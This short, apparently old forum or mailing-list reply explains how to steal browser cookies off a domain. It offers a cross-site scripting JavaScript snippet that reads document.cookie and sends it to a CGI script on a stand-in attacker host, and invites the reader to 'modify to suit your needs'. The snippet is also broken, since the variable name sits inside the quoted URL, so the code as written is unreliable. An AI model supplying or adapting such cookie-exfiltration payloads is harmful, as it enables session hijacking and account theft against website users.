    Well. of course there is the ever famous sniffer....
    that will see a cookie quite easily.... to move cookies
    off domains without the aid of a sniffer.... JavaScript has
    been known the be the most widely used method.
    
    something like
    
    <SCRIPT>
    var cookie_data = document.cookie;
    window.open('http://www.attacker.com/email_the_cookie.pl?cookie_value=cookie
    _data');
    </SCRIPT>
    
    
    Modify to suit your needs...
    
    The point is that your using JavaScript to generate an off domain request
    method
    passing out the cookie data to a cgi.
    
    
    good. good.
